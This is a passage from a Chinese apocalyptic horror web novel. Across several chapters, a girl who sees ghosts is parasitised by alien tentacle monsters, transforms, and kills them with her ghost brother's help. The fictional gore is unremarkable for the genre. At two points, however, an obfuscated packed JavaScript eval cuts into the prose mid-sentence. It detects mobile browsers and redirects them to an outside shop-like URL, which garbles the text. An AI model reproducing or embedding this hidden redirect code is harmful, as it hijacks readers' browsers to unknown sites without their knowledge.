“啊!”女人的腿被拔出,她身体瞬间弹起,用尽全部力气后重重栽下,满头大汗的陷入昏迷。 温茉被血溅了一脸,眼眶被染得红彤彤,她揉了揉眼,苦笑一声:“希望她没有传染病。” 女人的双腿折断了,白花花的骨刺从膝盖凸出,两条小腿严重黑肿坏死,想活着,下场只有截肢。 从车里钻出来,温茉只感觉自己被血腥和汽油味腌透了,她心情很沉闷,将女人放在路边后折返去找罗木。 也许是因为看见她行动自如,许多幸存者从车底或车里爬出,他们每个人都神情悲痛,有的麻木地抱着尸体哭,有的劫后余生般的往街边大楼里跑。 找到罗木时,他身边已经围了一圈惊魂未定的幸存者,几乎每个都带了点伤,听到那女人的惨状,他毫不犹豫赶去救援。 罗木和两个男人一起拆了街边一个广告牌,把女人抬回去,温茉见没自己的事了,就继续赶路。 到处都是亡魂,什么烂肚子的,缺半张脸的心脏被挖的,在温茉眼里,世界简直就像巨大的个停尸间,站满了阴气森森的冤魂。 快到便利店周围时,温茉停住了脚步。 一队穿着芭蕾舞裙,双腿正常,但上半身是触手形态的怪物拦住了她的去路。 小区附近有家舞蹈机构,老师是小区的一个阿姨,温茉前几天还见她兴高采烈地发宣传单请大家去看比赛,今天就被撕成两半,“孩子们”争先恐后咀嚼着她的尸身。 女老师的鬼魂就站在一旁,麻木地看着。 温茉的心理防线终于破了,她胃部翻涌,蹲在地上呕吐,她捂住胸口失声痛哭,眼眶被泪水蜇得生疼。 温布惊很亏啊用拳头和鬼火将怪物们解决了,它很想一把火把女老师的残体也烧尽,但它失败了。 鬼火无法触碰阳间的东西,哪怕是尸体。 温茉默默流着眼泪,视线被遮挡得恍惚,她捡起便利店飘落的红色横幅,将地上的一片狼藉盖住。 温布惊很像好好安慰自己的妹妹,但时间太紧迫了,它短暂安抚了一下温茉,在得到催促后飞进了小区。 温茉抱着身体缩在马路旁,女老师的鬼魂就站在一旁,它愣愣地摸着裂开的脸,绿色的鬼眼满是委屈。 “我带着她们逃出来,可她们为什么都是怪物。” “都是怪物!都是怪物!那些大人也是怪物!!” “我居然在教怪物跳舞,哈哈哈哈哈,哈哈哈哈!” 女老师癫狂着大笑,不断地抓着头发,它疯了,没人规定鬼不能疯,温茉从泪水里看到,它崩溃的喃喃自语,挥开别的鬼魂的手,漫无目的走开了。 10. 第 10 章 “噗呲,噗呲!温茉,看过来!” 一道熟悉的声音从便利店里传出,便利店的卷帘小铁门被重力撞击过,已经破开一个小洞,钱弓的脸从中探出,他焦急道: “温茉,傻坐着干啥!快躲起来!” 这已经是第二个叫她躲起来的人了,温茉有些悲哀地想,如果没有温布惊的保护,她也会是这苦苦求生中的一员。 甚至可能在怪物袭击开始,就被像纸一样撕得稀巴烂。 钱弓扔出一包抽纸,温茉捡起来把脸擦干净,她的双眼已经肿得跟核桃一样,又热又疼。 她问道:“你看见我爸了吗?” 事故发生时,钱弓正在便利店吃早饭,他眼睁睁看着一个好好的人脑袋突然像游戏一样爆开,触手四面八方胡乱的扫。 那人是他家拳击馆的会员,体格健硕,幸好钱弓的妈妈自己开店常年备着电击棒和电锯,店里所有的客人加上母子俩一起上,才将怪物杀死。 他们将便利店所有货架挡在门口,才没有被攻破。 钱弓:“没见着,我们都没敢出去!” “我靠,那些芭蕾怪物消失了?你从学校跑回来的?牛逼!” 温茉眉宇间带着失落,还没来得及回答,钱弓妈妈沙哑的声音就从钱弓身后响起,“是温茉吗?孩子,你怎么乱跑呢!儿子,快把门打开。” “不行!” “谁知道她是不是怪物?别连累死我们!” 便利店的客人们言辞激烈地反对,他们早已吓破了胆,立刻合力用绳子将钱弓母子俩绑起来赶到角落。 钱弓妈妈:“咱们都是邻居不唔唔……”有人将她的嘴塞住。 钱弓丝滑地倒在妈妈的怀里,颓废道:“妈,别乱发善心,现在都世界末日了。” 他也不想开门,但他不会去当那个坏人,因此很配合地被绑住。 听着便利店里乱糟糟的声响,温茉起身拍了拍门,“给我点食物。” “不行,我们这么多人,都不知道要躲多久,自己都不够分的!” “给点吧,不然她一直不走吸引来怪物怎么办?” 温茉头抵着门,静静地听着里面的争论,随后小洞里扔出一个小饭团和一瓶苏打水。 一张白净的脸出现在洞口,她哆哆嗦嗦道:“快走吧,算我们求你了,里面还有孩子在。” 说完洞口就被一个纸箱堵住了。 温茉眼熟她,一个全职主妇,生了一对龙凤胎,喜欢和保姆推着两个婴儿车饭后散步,见谁都笑盈盈的。 “好。”温茉捡起食物装进校服口袋里,她用指关节敲了敲铁门,“军队已经在扫荡了,估计不久就会到达,你们不要为食物打架。” 便利店内又窃窃私语,人心躁动起来。 温茉踩过怪物的灰烬往小区走,温布惊这么久都没有动静,她要去看看,即使下一秒就会去死,也不能没有任何行动。 小区带着广告牌的道闸被撞歪了,保安亭玻璃烂了,两个保安分别死在桌子上和角落,手里还握着防暴叉和盾牌。 小区里隐隐传出声嘶力竭的尖叫和怪物的嘶吼。 温茉掰开死人冰凉的手,拿过叉子防身。老校区生态很好,进门就是带喷泉和水塘的小花园,走到喷泉处,又有人喊了她的名字。 温茉回头,看到捂着肚子的“班长”气喘吁吁地扶着柱子喘气,它一半脑袋是正常的,另一半是触手,三瓣肥硕的触手被子弹打得血肉模糊,眼珠子有的爆浆了,有的疯狂乱转。 看到温茉一脸冰冷地看着自己,“班长”试探性地喊了一声:“温茉?” 温茉紧紧盯着它,哐当扔掉了叉子,接着一步步向它走去,“班长”狂喜,张开两条紫色的触手:“你果然是最完美的孩子!你为什么不来找我?是想先对付那个家伙吗?我给你起了个名——” “噗嗤,噗嗤——” 锐利的刀子狠狠戳进“班长”的胸口,又深又重,一下接着一下,但温茉失算了,怪物的弱点不在心脏处,又或者是说它们根本没有心脏这东西。 “想弑母取代我吗?” “班长”像完全感觉不到疼痛一样,呆呆地站在原地,紫色的触手卷住温茉的腰狠狠砸向地面,她手里的刀子也被卷走。 这一切都太快了,温茉的手心被狠狠割出一道皮开肉绽的伤口,脑袋重重磕在地上,一秒后,刺痛袭来,她忍住痛呼,双腿勾住“班长”的身体瞬间弹起。 她捡了根小树枝,两只手握住狠狠刺向它花瓣头的中间! 她像刺进了一团温热蠕动的果冻。 这就是它的大脑吧,但温茉用尽了全部力气,也只戳进了一点,这次怪物是真的暴怒了,它高高举起温茉,触手上密密麻麻的吸盘像针尖一样勾进她的皮肤。 温茉被重重摔到地上,这次又是头着地,她眼花耳鸣,头晕恶心地爬起来,与此同时,鼻子流出一串透明的液体。 液体流进嘴里,她恍惚中感觉到,是甜的。 “班长”居高临下看着蜷缩成一团,浑身被触手伤得皮开肉绽的温茉,阴沉沉道:“看来你很有自己的想法,虎一,一出生就想搞死我吗?怎么不用你的触手,让我看看你的触手!” “呵呵。”温茉骂着:“去你妈的,我是温茉,是人类,不是你这种肮脏的畜生。” “不可能!”它吼道:“没有人可以不被我的卵同化!” 温茉挑衅地笑了,她捡起刀子爬起来,又一次戳进它的身体,“我没有吃啊,班长,吃你卵的是我哥哥,它说很好吃,感谢你的款待!” “我哥哥是鬼啊班长大人!你校长室那些卵都是它吃的!多亏了你,我哥哥才能力量大增!” “班长”那半张人类脸颊显露出愤怒,“你去死吧!” 它一根触手瞬间刺穿了温茉的胸口,看着温茉奄奄一息地倒在地上,它张狂地说:“那我就让你们兄妹俩好好当一对鬼兄妹!” 一股铁锈味的腥甜涌上嗓子,温茉咬紧牙关,只感觉脑子要炸了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026713|194452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “班长”气急败坏地想要戳爆她的脑子,可看着她的脸,终究是没舍得,它轻而易举撬开温茉的下巴,头顶的一根触手伸进她血淋淋的嘴里。 第一次没成功,那就再来一次,这次的袭击已经暴露了它们的存在,尤其是如果没有转化最完美的孩子,那就是彻彻底底地失败!! 无数像珍珠一样的卵泡脱落,触手在两秒后退出,“班长”强制抬起温茉的头,她拼命抵抗,却犹如蚍蜉撼树般。 在她绝望的眼神里,怪物狠狠捶打她的腰,温茉下意识地叫了一声,瞬间,那些卵泡就被咽了下去。 “班长”恨恨又期待地盯着她,寄生体反抗意识太强,还不知道会变异成什么样子。 温茉感到身体在发生着变化,以前长身体的时候,她的膝盖会很痛,可这次,她感到全身的骨头都在痛。 心脏跳得剧烈,又像是被看不见的手重重捏着,温茉屏住呼吸,她清晰地感到内脏在变化,撕扯、融合。肺部好像停止了功能,她感到溺水般的窒息。 肾上腺素完全没用,她的身体越来越冷,眼前色彩鲜明的世界慢慢褪去色彩,犹如百年前的黑白老旧影片。 世界慢了下来,她突然能看到四面八方所有的景象,她看到天上飞鸟滑行的轨迹,看到喷泉水珠掉落的弧度,她听到数不清的杂音,甚至能听到潺潺流水中小鱼吐泡泡的声音…… “砰!”寄生她的母体重重晕倒在地,彭周给温茉的小刀被高密度的迷药浸泡过,她等了好久,才等到药见效。 温茉看着自己的手变形,手指不受控制地像橡皮泥一样粘连融合成一条触手,长出尖尖的紫色小吸盘。 银白冰冷的公告栏映照出一头穿着校服的怪物,它拥有人类的下半张脸,头顶却逐渐变成花瓣一样的稚嫩紫色小触手。 温茉崩溃了,触手上的所有黑色眼珠子都在哭,她非常不知所措,她爬过去捡起了刀子,颤抖着瞄准触手中间。 突然,一阵无法抗拒的念头浮现在脑子里,她感到很饿很饿,她需要进食,她不能死…… 树上的监控一闪一闪,清晰记录下了“孩子”吃掉“母亲”的过程。 温茉的意识一片混乱,不知道过了多久,彩色的世界和理智一同重归身体,她坐在一片淡蓝的血水中,人类的手掌中握着最后一块罪证。 无意识中,温茉吞噬掉了“班长”的整个头颅和两条手臂,只留下人类的残躯。 温茉又恢复了人类的模样,她面如死灰地坐着,眼底盛着惊恐,任谁见了,都会打心底里觉得,这是个多弱不禁风需要被呵护的女孩啊! 脑子一片空白,温茉抬头,看到了周围鬼魂们惊悚的眼神,它们用不可置信的目光看着她,仿佛她才是鬼一样。 温茉看到温布惊远远靠近,她泪眼汪汪地伸出手。 温布惊担忧地看着她道:“温玉成死了。” “哥。”温茉颤抖着抱住它:“我该怎么办,我变成怪物了。” 小诡异眼神一凛。 11. 第 11 章 温茉抽噎着,黏腻带着蓝色刺鼻血迹的双手抖如筛糠,她脸上是极度的紧张与自我怀疑:“我把这只怪物吃掉了!我、我也不知道为什么会变成这样子……” 温布惊迅速接受了妹妹的变化,它的第一反应是:不能让这件事被传出去。| 它冰冷的目光环视着四周,从监控的红灯轻轻扫过,转移到周围的众鬼魂,虽然是孩童模样,但狠戾之气扑面而来。 其中一只鬼温茉还认识,是最初认识的断腿小孩鬼,它一边往后退,一边内心懊恼,早知道就不出来看热闹了! “温布惊,我保证会把这件事烂在肚子里,你不要吃掉我。”它紧张到魂体冒烟。 这些鬼魂大多是小区的邻居们,它们还在震惊温茉能看见鬼,浑然不知自己的处境极其危险。 有几只死有些年的鬼,转身就要逃走,温布惊瞬移拦住了去路,它们哀求:“我还想入轮回,求求你放过我。” 温布惊已经握住了一只鬼的手臂,想要硬扯下来,温茉闭着眼说:“哥,别做傻事,它们被怪物杀死已经很无辜了。” “不行!”温布惊鬼气森森,犹如恐怖版洋娃娃的稚嫩脸庞满是杀意:“谁知道这世界上会不会有第三个阴阳眼,只要妹妹你还活着,就不能有威胁。” 温茉已经收拾好心情,她站在喷泉前洗手洗脸,看淡蓝的血渍被水冲走,“我肯定是个怪物了,但相比那么多死人,已经很幸运了,哥,我一定要弄懂身上的一切,大不了以后被拉去研究的时候,我们逃到深山老林里,让谁也找不到。” 温布惊背对着她止住动作,很快,它松开手,那只鬼瞬间消失不见,连带着其余的鬼魂也回过味来,它们再三保证绝不会传播,然后四散而逃。 温茉衣服上全是怪物和她自己的血,味道极其混浊刺鼻,她走到保安室,将刚才的监控全部删掉,虽然断网状态下监控视频不会自动上传云端,但她还是仔仔细细检查了一遍,确认没有任何遗漏。 关掉小区的监控,她将“班长”的残尸拖到小区垃圾池,接着抽出一辆车的汽油淋上,点燃打火机扔进去。 “轰!” 冲天高的火苗燃起,很快将尸体和其余垃圾烧光,难闻熏眼的味道弥漫开来,温茉冰凉的身体很快被烤得暖烘烘,她一眨不眨地看着一切燃烧殆尽,才虚脱般地靠墙坐下。 “妹妹。”温布惊担忧地摸着她的额头,“你还好吗?” “我很好。”温茉苦笑一声:“甚至觉得全身充满了力量,还真没白吃,你看,全身的伤都好了。” “走吧,回家去,至少让我见见爸爸的尸首。” 温茉越过无数尸体进入楼道,在二楼,她看到,一只穿着隔壁刘玉芬刘姨常戴围裙的灰白色怪物蹲在一具尸体上,捧着一条小腿进食。 见到她,怪物没有发起攻击,它愣了几秒,随后扔掉小腿跃起落到她身后,几条触手仔仔细细地围着她的脑袋打转。 “刘姨,不对,怪物。”温茉垂眸看着鞋面上自己的血迹,她问道:“你是不是很早就寄生了她。” 温茉突然想起一件事,刘玉芬的第一段婚姻中有一个男孩,那个男孩貌似叫……赵天琪,正是班长的名字。 ——刘玉芬二婚嫁给邻居老头没几个月,温茉也跟她只是点头之交。 怪物收回触手,它发出了人类女性的娇笑:“我在你身上嗅到了……同族的味道,但是你看起来,就是一个正常的人类,看来首领的计划成功了,不愧我们精心策划了那么久。” “你们为了我,精心策划了很久?” “是啊,首领说你的寄生宿体是最完美的。”怪物又抱怨道:“潜伏得太久,我的身体早就快变异完了,每天出门都要注意触手不能碰到别人,不然一被察觉,致幻效果就可能大打折扣。” 温茉嘴角勾了勾:“那还真是辛苦你了。” 怪物没有听出她的讽刺,几十只眼珠子转了转,“你怎么没有保护首领,它正处于虚弱的产卵期,实力很弱。” “首领在楼下呢。” “那正好。”怪物说:“还记得那晚送你回家的那个人类男性吗?他就在楼上,你去取些卵来寄生他。” “他的身体真不错啊,那晚本来想迷晕他下手,被该死的人类臭老头缠住了。” 温茉从口袋里拿出一些卵,“我这里有。” 怪物取过,转身往楼上走,温茉扯住它的围裙:“别走,先给我说说关于咱们族的事情吧。” 怪物头颅整个180度扭转过来,浑身弥漫着危险的气息:“你不知道?所有新生的孩子都传承了记忆。” 温茉回忆起几十只眼珠子乱窜的感觉,头顶的细小紫色触手抬起了一根,怪物气息顿时柔和下来,甚至略带着爱怜地碰了碰她的小触手。 “跟首领一样的紫色……不过,你的触手怎么这么小!” 温茉慢条斯理地绕弄着一簇长发:“也许是我跟人类同化程度太深了吧,首领在忙呢,我什么都不知道,它让我自己找同族问。” 怪物相信了,它依依不舍地看着她头顶的触手收回,变为人类的头顶。 它说:“我们的虫族祖先曾经生活在遥远星系的一颗星球上,但被那颗星球上卑鄙的人族打败,流放到了宇宙中,在经过不知道多少个虫洞迁跃后,我们来到了太阳系,发现了这颗星球。这颗星球的人类,长相躯体跟驱逐我们的人族相似,但体型更小,基因更差。两者对比犹如天上地下。” “我族分为三支,每一支都是通过寄生其他生命体的形式繁衍,来到地球后,我们秘密寄生了一批人类,但人类的基因太低等了!尽管选择的都是些身体强悍的,他们也根本承受不住我们的基因侵袭,很快就会异变为我族原本的样貌,这样太不利于发展了。” 温茉双手插兜,摩擦着匕首刀柄的纹路:“不利于发展?在害怕些什么?因为人类的热武器太强大了吗?” “是也不是。”怪物不屑一顾:“人类的核武器确实还算可以,但是伤敌一千自损八百,但是不到逼不得已,他们是不会拿来用的。” “我们当然可以轻而易举占领地球,但我们不借助人类的发声器官,就只能通过声波交流,会被当初驱赶我族的卑鄙人族发现。他们为了对我们赶尽杀绝,派出了许多捕杀队追踪着,这颗星球迟早会被发现。” “我们的目的就是要培养出大批像你一样完美的孩子,不仅能掌控全人类,还能降低人族警惕,韬光养晦后一举夺回领地。” 温茉点点头:“原来如此。” 怪物欣喜地看着她:“你看,你多么完美,就算是站在那些人族面前也不会被他们怀疑,可惜你还太小了,等你长大繁衍出自己的卵,我们就可以占领地球了!” 温茉还有最后一个问题:“你说我们虫族分为三支,除了我们这一支,还有两支呢?” “它们啊。”怪物下半张人类的脸庞流露出嫌弃,“野蛮暴力,没有脑子的,它们在隐匿于西半球,寄生后宿体会骨化和兽化。你以后就知道了。” 温茉:“谢谢,你可以去死了。” 怪物还没反应过来,一旁蠢蠢欲动很久,耐心忍住杀意的温布惊就朝它的触手脑袋吐出一口鬼火。 “啊啊啊!”触手凭空自燃,怪物惊惧痛苦地尖叫着,它见扑灭不了幽蓝的火焰,就紧紧勒住温茉的脖子,“贱种!你干了什么!” “杀了你啊,跟你的首领去地狱相见吧,哦不,你们不是本地土著,应该也进不了地狱轮回。” “啊啊啊啊!!” 湿答答的触手被烘烤,出油、缩水,发出铁板鱿鱼一般的滋滋作响,整个楼道间弥漫着难以言喻臭水沟般的味道。 气管被束缚无法呼吸,温茉的耳后出现鱼鳃一样的小空洞,一张一合着吸收氧气,她狠狠扯断那根瘪下来的触手,看着怪物在狭小的空间抱头鼠窜,挣扎了一会,它彻底变成一团灰烬,只留下一截人类的腹部和双腿。 鬼火尽职尽责 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17026714|194452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地烧尽了所有怪物的存在,温茉看着纷纷扬扬的灰烬,脸上闪过沉思:“哥,你现在应该也能烧死我。” 温布惊圆溜溜的鬼眼瞪大了,它拉着小脸,抿直了嘴唇:“妹妹!不要这么说,我绝对不会伤害你的!” 温茉抱住了它,轻声道:“如果以后我变成无法控制理智的怪物,你一定要杀死我。我可不想害人,说不定死后还能开开心心做个鬼。” 温布惊乌黑的唇瓣颤抖,它紧紧拽着背带裤的带子,情绪紧绷像个吃不到糖果闹脾气的小朋友,半晌后,它嗯了一声。 光洁的走廊一片狼藉,昏黄的阳光透进来,照亮地板和墙上的血渍,走廊安安静静,某家的门大开着,门口渗出一片刺眼的血液,已经半凝固着贴着地面。 温茉站在自家门口,想到温玉成的死,眼泪后知后觉地掉下来,她深呼吸,拿出钥匙插进锁销。 客厅,段双双正抱着温玉成的尸体哭到昏厥,听到门口的声响,他立刻警惕地拿起手边的菜刀。 嘀嗒嘀嗒,时钟不停歇地转着圈,段双双的额角露出冷汗。 吱嘎,一声轻响后,门被打开了,温茉低着头走了进来,阳光在她身后斜斜倾洒进来,她黑黑长长的头发遮住了面孔,校服简直成了血衣,散发着恶臭的味道。 段双双握紧了刀柄,身体呈防御状,试探性地喊了一声:“温茉?” 一分钟后,两人跪在温玉成的尸体前抱头痛哭。 段双双鼻涕流了一下巴,脸上脏兮兮的,不复往日的精致,他说:“对不起,我把阳台封住,一回头导师就要不行了,我给他喂了药,但还是眼睁睁看着他没了。” “不怪你,他有心脏病,受到的惊吓太大了,但是好在,他走得不是那么痛苦,不像外面那些,尸体都拼不完整……回来之前,我已经做过心理准备了呜呜呜……” 静静平躺在沙发上的温玉成面色惨白,眼睛肿胀,嘴唇呈乌紫色,温茉哭着给他擦了擦脸和手心,用毯子把尸体盖住。 一天之内发生了太多的事,温茉精神极度疲惫,好在很久前温玉成和羊雅芝就给她做过死亡教育,她才不至于直接失心疯。 段双双哭着哭着干呕起了来,两人都经过厮杀,染上了不少怪物的血,抱在一起简直就是催泪瓦斯。 更何况怪物的血还有致幻性,浓度一高作用就显现了,段双双只觉得眼前的世界在摇晃,温茉的脑袋变成了两个。 他们立刻远离对方。 温茉花了一个小时洗澡,她看着镜子里的自己,湿漉头顶上两根紫色的小触手轻晃着,她惊恐地摸了摸,脑袋倒是没有裂开,触手是直接从头顶长出来的。 原本她发现,只要自己不去回忆当时的感觉,就能好好维持住人类脑袋。但当时在淋浴喷头下,她正搓着头发,却突然看到了自己身后的场景…… 两只软趴趴的肉质触手欢快地接受热水的洗礼,每个吸盘和眼睛都仿佛吸饱了水般胖嘟嘟的。 温茉使劲把触手往下压,但怎么都消失不了,越着急,触手就越激动,啪啪抽打起了她的额头,还跟湿发缠到了一起。 温茉只好穿上浴衣走出卫生间。 温布惊盘腿坐在床上,看到她的模样歪了歪脑袋。 段双双太疲惫了,在主卧里的按摩浴缸睡着了,幸好他留了一条缝隙才没缺氧。不知过了多久后,他突然惊醒,浑身都被泡得红彤彤皱巴巴。 他戴好项链,从衣柜里找出一套男士运动装穿上,一想到这件衣服是导师的,心里就难受得要命。 段双双饥肠辘辘,鼻尖敏锐地捕捉到一丝饭香,他来到厨房门口,接着整个人呆愣住了。 温茉戴着围裙炒蛋炒饭,最主要的是,她头顶一左一右扎了两个圆润的丸子头,这个发型,他只在幼儿园小朋友身上看到过。 温茉还是失心疯了,段双双鼻头一酸,一向沉稳黑长直的她变得这么幼稚,这种时候,她怎么可能装可爱,一定是被刺激到精神失常了! 12. 第 12 章 温茉的两个丸子头背后是努力的温布惊,两根小触手不知道是不是喝饱了水的缘故,怎么都收不回去,精神抖擞地摇晃着仿佛心情很好——如果触手也有思想的话。 因为触手太敏感,没办法戴帽子遮住,最后温布惊想了个办法:直接用发型遮盖。好在她头发够长,勉勉强强包住了,只是它上次给温茉扎头发还是小时候,手法生疏得很,失败了好几次才找回手感。 别看温布惊模样小,鬼龄可是有十多年,做事非常严谨成熟,双丸子头扎得对称漂亮,都能被收进书里当模板。 米饭还是今早温玉成做多了的,现在米硬了,他人也硬了。温茉手艺不错,蛋炒饭鲜嫩好吃,他们一人捧着一碗,却都情绪不佳。 天色已暗,黑夜降临,阳台被段双双用书柜和架子等封住,再将厚厚的遮光窗帘拉上,他们获得了一丝安全感。 断电了,桌子上点着往常放在温布惊遗像前的蜡烛,从温茉有记忆开始,就从来没遇到过停电,家里翻箱倒柜也只找出一个军用手电筒。 这是羊雅芝留下的,电量很少了,温茉没舍得用,在征得温布惊的同意后挪用了供台的蜡烛,段双双顶着白色粗蜡烛暗淡的光,余光瞥到沙发上被盖住的尸体,越吃心里越犯怵。 他蹭到温茉身边吃,欲哭无泪小声道:“好像鬼片里的场景啊,我们真的不能用手电吗?” 军用手电不愧是官方货,一打开仿佛天都亮了。 外面的哭喊和嘶吼不知何时停止了,世界重归寂静,每当饭勺在碗底刮擦一下,段双双就心揪一分,在他的构想里,无数可怕的、流着涎水的怪物早已虎视眈眈地围在门口,只待捕捉到一丝声音就会冲进来撕碎他。 段双双神经衰弱到把钟表都拆了。 “我们手机都没电,只有这个了,晚上还不知道会不会遇袭,还是省着吧。”温茉说。 段双双很想抢过手电,但看着温茉冷静到极致的眼睛,积攒的勇气全部跑掉,他整个人疑神疑鬼不断朝黑暗处看去。 温茉安慰他:“屋里很安全的。” 段双双抱住温茉的手臂瑟瑟发抖,他的光头在烛光下闪闪发光,“我知道说这话很不争气但是我要是能变小钻进口袋里就好了!” 闻言,一旁的温布惊使劲瞪着他,温茉直接甩开段双双的手,将碗筷放到洗碗池,对亦步亦趋的他说道:“把碗洗了。” “?”段双双看着扔进怀里的洗碗手套想要反驳,这都什么时候了还洗碗!房子说不定明天都没了,但他总觉得身边的温度冷得吓人,而且莫名不敢反驳,因此不敢逼逼,三两下将厨房打扫干净。 他干活,温茉就端着白蜡烛站在旁边,淡光只照亮了她一半的侧脸,衬得眸极黑,脸极白,嘴唇极红,色彩对比非常鲜明,这些组合成漂亮的脸蛋,乍一看跟个鬼片里神出鬼没的修女一样。 温茉五官立体,眼窝较为深,她只要垂下眸子,纤长的睫毛就会挡住眼里所有的情绪,段双双捉摸不透她在想什么。 明明他才是那个年纪大的,但是现在却不想去思考操心,只想被温茉牵着鼻子走。 他现在就想等着政府来救援,然后一辈子缩在保护区不出去,那 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但段双双不知道啊,他难以理解温茉莫名的自信和云淡风轻,只觉得这姑娘走出亡父阴影的速度也太快了点。 想当年也是十多岁,他父母双亡的时候,整整颓废了半年之久。 “其实,要算起来,你现在可比钱弓安全多了,他那边又是人多,容易吸引怪物,而是一被堵,跑都没地方跑。” 段双双烦躁又不安,他喃喃低语:“希望我还能活到明天,希望明天可以见到钱弓那货还在人间。”